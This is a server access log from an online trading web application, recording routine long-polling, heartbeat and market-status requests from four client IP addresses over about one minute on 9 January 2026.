[09/Jan/2026:10:41:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926786887 HTTP/1.1" -
[09/Jan/2026:10:41:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926799226 HTTP/1.1" -
[09/Jan/2026:10:41:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926788086 HTTP/1.1" -
[09/Jan/2026:10:41:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926788058 HTTP/1.1" -
[09/Jan/2026:10:42:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926792018 HTTP/1.1" -
[09/Jan/2026:10:42:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926805228 HTTP/1.1" -
[09/Jan/2026:10:42:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926793121 HTTP/1.1" -
[09/Jan/2026:10:42:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926797160 HTTP/1.1" -
[09/Jan/2026:10:42:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926794059 HTTP/1.1" -
[09/Jan/2026:10:42:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926811231 HTTP/1.1" -
[09/Jan/2026:10:42:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:42:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:42:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926798162 HTTP/1.1" -
[09/Jan/2026:10:42:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926802263 HTTP/1.1" -
[09/Jan/2026:10:42:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926800046 HTTP/1.1" -
[09/Jan/2026:10:42:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926817224 HTTP/1.1" -
[09/Jan/2026:10:42:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926803207 HTTP/1.1" -
[09/Jan/2026:10:42:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926807331 HTTP/1.1" -
[09/Jan/2026:10:42:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:42:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926806052 HTTP/1.1" -
[09/Jan/2026:10:42:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926808252 HTTP/1.1" -
[09/Jan/2026:10:42:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926823226 HTTP/1.1" -
[09/Jan/2026:10:42:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926812415 HTTP/1.1" -
[09/Jan/2026:10:42:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926812055 HTTP/1.1" -
[09/Jan/2026:10:42:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926813273 HTTP/1.1" -
[09/Jan/2026:10:42:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:42:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926829237 HTTP/1.1" -
[09/Jan/2026:10:42:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926817528 HTTP/1.1" -
[09/Jan/2026:10:42:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926818327 HTTP/1.1" -
[09/Jan/2026:10:42:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926818046 HTTP/1.1" -
[09/Jan/2026:10:42:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:42:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:42:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926822654 HTTP/1.1" -
[09/Jan/2026:10:42:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926835233 HTTP/1.1" -
[09/Jan/2026:10:42:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926823371 HTTP/1.1" -
[09/Jan/2026:10:42:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926824048 HTTP/1.1" -
[09/Jan/2026:10:42:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926827806 HTTP/1.1" -
[09/Jan/2026:10:42:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926841224 HTTP/1.1" -
[09/Jan/2026:10:42:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:42:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:42:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926828407 HTTP/1.1" -
[09/Jan/2026:10:42:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:42:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:42:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926832925 HTTP/1.1" -
[09/Jan/2026:10:42:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926830060 HTTP/1.1" -
[09/Jan/2026:10:42:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926847235 HTTP/1.1" -
[09/Jan/2026:10:42:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926833442 HTTP/1.1" -
[09/Jan/2026:10:42:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926837972 HTTP/1.1" -
[09/Jan/2026:10:42:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:42:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926836059 HTTP/1.1" -
[09/Jan/2026:10:42:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926838477 HTTP/1.1" -
[09/Jan/2026:10:42:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926853223 HTTP/1.1" -
[09/Jan/2026:10:42:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926843137 HTTP/1.1" -
[09/Jan/2026:10:42:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926842047 HTTP/1.1" -
[09/Jan/2026:10:42:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926843498 HTTP/1.1" -
[09/Jan/2026:10:42:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:42:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:42:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926859236 HTTP/1.1" -
[09/Jan/2026:10:42:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926848249 HTTP/1.1" -
[09/Jan/2026:10:42:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926848518 HTTP/1.1" -
[09/Jan/2026:10:42:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926848157 HTTP/1.1" -
[09/Jan/2026:10:43:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926865224 HTTP/1.1" -
[09/Jan/2026:10:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926853472 HTTP/1.1" -
[09/Jan/2026:10:43:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926853546 HTTP/1.1" -
[09/Jan/2026:10:43:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926854062 HTTP/1.1" -
[09/Jan/2026:10:43:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926870294 HTTP/1.1" -
[09/Jan/2026:10:43:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926858606 HTTP/1.1" -
[09/Jan/2026:10:43:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:43:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:43:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926858585 HTTP/1.1" -
[09/Jan/2026:10:43:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:43:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:43:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926860047 HTTP/1.1" -
[09/Jan/2026:10:43:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926875343 HTTP/1.1" -
[09/Jan/2026:10:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926863750 HTTP/1.1" -
